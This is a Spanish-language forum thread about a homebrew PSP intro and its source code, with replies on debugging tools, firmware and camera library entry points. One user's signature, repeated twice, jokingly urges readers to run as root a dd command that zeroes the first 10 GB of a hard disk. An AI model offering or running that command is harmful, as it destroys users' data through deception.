Intro PSP (pseudo demoscene) (a.k.a respuesta a nuestro Int-0)

Hola a todos, en respuesta a Int-0, que hace poco nos dejó un pequeño tuto sobre intros multimedia (en concreto para la PSP), he hecho una pequeña intrillo.

Como la suya, se apoya en las cpplibs que vienen con el trunk de librerias opcionales al toolchain. No compilan de forma correcta pues falta un "cast" en un "return (u32*) list;" ... en fin ... cosas del que mantenga ese repo.

Aparte, hice algunos retoques a dichas librerías para permitir algunas cosas más, así que si quereís recompilar el código, dedidlo y pongo los parches también.

Me ha recordado mucho los tiempos del ASM, cuando un 286 era un tesoro Sad Qué tiempos! Larga vida a la scene!

Aquí podéis descargar el binario y los fuentes: brue_intro_all.zip

P.D. La intro contiene una errata Smiling

Comentarios

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genial...

...me ha encantado... me parece chulísimo la forma en la que has metido todos los datos en un único fichero... me ha encantado...

Ahora estoy preparando una nueva receta que también puede que te guste... Eye-wink

Si quieres traete tu PSP y grabamos el vídeo con mi PSP Eye-wink. Y una cosa más... me ayudas a sacar los puntos de entrada de usbcam.prx del firm+2.71? Evil
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For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
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$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
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Imagen de brue

Conoces ...

...psplinkusb? Es la leche para depurar, elfs, prx ... con gdb!

A qué puntos de entrada te refieres? Explícame un poco y nos ponemos.

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·brue

brue

Imagen de brue

POR CIERTO...

te has pillado una cam? o usas webcam común ...

btw, yo uso el firm 3.51 M33 que es el último, ya que dark alez lo dejó en el 3.50. Ahora lo están desarrollando unos rusos.
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·brue

brue

Imagen de int-0

Pos...

...me pillé la Go!Cam y esta chulísima. Se accede a la misma mediante la biblioteca usbcam.prx (incluído a partir de los FW2.71) pero hay q sacar la tabla de símbolos para poder generar un .h con los prototipos de sus funciones y así poder hacer homebrew que pueda usar la cámara.
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dd if=/dev/zero of=/dev/hda bs=1G count=10
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$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
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Imagen de brue

aaaahm...

... si eso ya está Smiling ...

http://moonlight.lan.st/3.50/index.html

Eso para el 3.50 ... hay más en la misma web. Y aquí puedes ver un ejemplito de cómo importar las funciones...

http://forums.ps2dev.org/viewtopic.php?t=8462&highlight=&sid=db510c9d9b1...

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·brue

brue